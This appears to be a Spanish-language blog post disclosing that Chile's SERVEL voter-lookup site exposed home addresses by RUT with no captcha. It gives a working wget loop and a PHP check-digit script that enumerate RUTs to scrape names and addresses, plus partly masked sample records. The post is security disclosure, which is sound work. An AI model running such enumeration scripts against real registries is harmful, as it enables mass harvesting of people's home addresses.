Luego de que se propusieran la idea de inscribir automaticamente a todos los
chilenos, el SERVEL tuvo la brillante idea de poner la base de datos de todos
los inscritos disponible para cualquier persona en su sitio web.
Con solo ingresar el RUT o el nombre de una persona, es posible obtener su
domicilio, por ejemplo:
El formulario no cuenta con un captcha para validar que sea una persona quien
consulta los datos y tampoco tiene las validaciones necesarias para proteger
request desde sitios remotos y asi poder evitar que un “bot” se dedique a hacer
un dump de la base de datos.
Como el sistema de consultas es vulnerable a CSRF, con un pequeño script
podemos obtener información de personas, por ejemplo:
15000XXX-7
LECAROS XXXXX ELENA XXXX
PILCO XX XXXXXX DPTO 106
————
15000002-5
XXXXXX NIETO XXXXXXXX ANDRES
SITIO XXXXXX EL SAUCE XXXXXXX
————
15000XXX-3
ROJAS XXXXXX PAMELA XXXXXXX
PJ LOS XXXXX XX
————
15000XXX-1
BELLO XXXXX SUSANA XXXXXX
DIEGO XXXXX XXXXX POBL. SAN JOSE
————
15000XXX-K
GONZALEZ XXX PATRICIA XXXX
ANIBAL PINTO XXXX PBL.M.ORIENTE
————
En esta prueba de concepto lo unico que hice fue un script que cuente de
15.000.000 a 15.000.010, obtenga el digito verificador de cada RUT y consulte
con cURL o wget al sitio del SERVEL. Un bot podria ser programado para que
recorra todos los rut y obtenga información sobre las personas.
Comando:
for seq in $(seq 15000000 15000010); do rut=$(php dv.php $seq); echo $rut; wget -O – -o /dev/null “http://www.servel.cl/consulta/consulta2012.aspx?ScriptManager1=updpnl1|btnconsultarnombre&__ASYNCPOST=true&__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2FwEWBALt74KnBwKIgMLoCQLA%2BNmoBgL066iRCh5kzc0O6krAcPyF8iP14ICzZPVMch4cFobzrB8c5UMe&__VIEWSTATE=%2FwEPDwUKLTUxOTc5MjYxMg9kFgICAw9kFgICAQ9kFgJmD2QWAgITD2QWAgIDDzwrABEBARAWABYAFgBkGAEFDWdyZGR1cGxpY2Fkb3MPZ2QHQ9n6Ug6DvemNcSslF9aItsqRASRwxwtjME5L46rPQQ%3D%3D&btnconsultarnombre=Consultar&hdfl=&txtnombre=$rut”|grep ‘lbldomicilio\|lblnombre’|awk -F ‘>’ ‘{print $2}’|sed ‘s/< \/span//g'; echo "------------"; done
Script php (dv.php)
- < ?php
- function dv($rut)
- {
- $x = 2;
- $calc = 0;
- $rut = str_replace(".", "", $rut);
- for($i = strlen($rut)-1; $i >= 0; $i--)
- {
- $digit = $rut[$i];
- if($x == 8) $x = 2;
- $calc += $digit*$x;
- $x++;
- }
- $rest = $calc%11;
- $dv = 11 - $rest;
- if($dv == 10) $dv = "K";
- if($dv == 11) $dv = 0;
- return $dv;
- }
- print $argv[1]."-".dv($argv[1]);
- ?>
Actualizado
SERVEL finalmente puso un Captcha para evitar a los bots.
No hay comentarios:
Publicar un comentario
Nota: solo los miembros de este blog pueden publicar comentarios.